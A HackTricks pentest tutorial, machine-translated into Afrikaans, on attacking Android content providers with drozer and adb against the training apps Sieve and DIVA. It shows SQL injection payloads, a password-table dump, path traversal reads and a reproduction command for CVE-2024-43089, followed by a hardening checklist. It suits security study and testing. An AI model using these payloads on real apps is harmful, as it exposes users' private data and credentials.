Exploiting Content Providers
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Intro
Data word verskaf van een toepassing na ander op aanvraag deur 'n komponent bekend as 'n content provider. Hierdie versoeke word bestuur deur die metodes van die ContentResolver class. Content providers kan hul data in verskillende plekke stoor, soos 'n databasis, lĂȘers, of oor 'n netwerk.
In die Manifest.xml lĂȘer is die verklaring van die content provider vereis. Byvoorbeeld:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys
, is die READ_KEYS
toestemming nodig. Dit is interessant om op te let dat die pad /Keys/
in die volgende afdeling toeganklik is, wat nie beskerm is nie as gevolg van 'n fout deur die ontwikkelaar, wat /Keys
beveilig het, maar /Keys/
verklaar het.
Misschien kan jy privaat data toegang of 'n sekuriteitsfout (SQL Injection of Path Traversal) benut.
Kry inligting van blootgestelde inhoudverskaffers
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Dit is moontlik om saam te stel hoe om die DBContentProvider te bereik deur URI's met âcontent://â te begin. Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutel-inligting in die /Keys gids geleĂ« was.
Drozer kan raai en verskeie URI's probeer:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
U moet ook die ContentProvider kode nagaan om vir navrae te soek:
As u ook nie volle navrae kan vind nie, kan u kyk watter name deur die ContentProvider verklaar word in die onCreate
metode:
Die navraag sal soos volg wees: content://name.of.package.class/declared_name
Databasis-ondersteunde Content Providers
Waarskynlik word die meeste van die Content Providers as koppelvlak vir 'n databasis gebruik. Daarom, as u toegang kan kry, kan u in staat wees om inligting te onttrek, op te dateer, in te voeg en te verwyder.
Kyk of u toegang tot sensitiewe inligting kan kry of probeer om dit te verander om autorisasiemeganismes te omseil.
Wanneer u die kode van die Content Provider nagaan, kyk ook vir funksies wat soos volg genoem word: query, insert, update en delete:
Omdat u in staat sal wees om hulle aan te roep
Navraag inhoud
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Voeg inhoud in
Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan kan jy data in die DB invoeg:
Nota dat jy in invoeg en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean
Werk inhoud op
As jy die naam van die kolomme ken, kan jy ook die ingevoerde waardes wysig:
Verwyder inhoud
SQL Inbraak
Dit is eenvoudig om vir SQL-inbraak (SQLite) te toets deur die projektering en keuse velde wat aan die inhoudverskaffer oorgedra word, te manipuleer.
Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: --selection en --projection:
Jy kan probeer om hierdie parameters te misbruik om vir SQL-inbrake te toets:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Outomatiese SQLInjection ontdekking deur Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
LĂȘerstelsel-ondersteunde Inhoudverskaffers
Inhoudverskaffers kan ook gebruik word om lĂȘers te verkry:
Lees lĂȘer
Jy kan lĂȘers van die Inhoudverskaffer lees.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Pad Traversal
As jy toegang tot lĂȘers kan kry, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Outomatiese Pad Traversering ontdekking deur Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 Opdaterings & Moderne Wenke
Drozer 3.x (Python 3) is uit
WithSecure het in 2022 die onderhoud van drozer hervat en die raamwerk na Python 3 (nuutste 3.1.0 â April 2024) oorgedra. Benewens kompatibiliteitsoplossings, sluit nuwe modules in wat veral nuttig is wanneer daar met Content Providers gewerk word:
scanner.provider.exported
â lys slegs verskaffers metandroid:exported="true"
.app.provider.grant
â roep outomatiesgrantUriPermission()
aan sodat jy met verskaffers kan praat watFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
op Android 12+ verwag.- Beter hantering van Scoped Storage sodat lĂȘer-gebaseerde verskaffers op Android 11+ steeds bereik kan word.
Opgradeer (gasheer & agent):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Gebruik die ingeboude cmd content
helper (ADB â„ 8.0)
Alle moderne Android-toestelle word gelewer met 'n CLI wat verskaffers kan vra/opdateer sonder om enige agent te installeer:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
Combineer dit met run-as <pkg>
of 'n ge-rootde skulp om interne slegs verskaffers te toets.
Onlangs werklike CVE's wat Content Providers misbruik gemaak het
CVE | Jaar | Komponent | Fout klas | Impak |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | Pad traversering in openFile() | Arbitraire lĂȘer lees vanaf enige app se privaat stoor |
CVE-2023-35670 | 2023 | MediaProvider | Pad traversering | Inligting openbaarstelling |
Herstel CVE-2024-43089 op 'n kwesbare weergawe:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Versterking kontrolelys vir API 30+
- Verklaar
android:exported="false"
tensy die verskaffer moet publiek wees â vanaf API 31 is die attribuut verpligtend. - Handhaaf toestemmings en/of
android:grantUriPermissions="true"
in plaas van om die hele verskaffer te eksport. - Witlys toegelate
projection
,selection
ensortOrder
argumente (bv. bou navrae metSQLiteQueryBuilder.setProjectionMap
). - In
openFile()
kanoniseer die versoekte pad (FileUtils
) en verwerp..
volgorde om traversering te voorkom. - Wanneer jy lĂȘers blootstel, verkies Storage Access Framework of 'n
FileProvider
.
Hierdie veranderinge in onlangse Android weergawes beteken dat baie erfenis eksploitasiemiddele steeds werk, maar addisionele vlae/toestemmings vereis wat die opgedateerde drozer modules of cmd content
helper outomaties kan toepas.
Verwysings
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.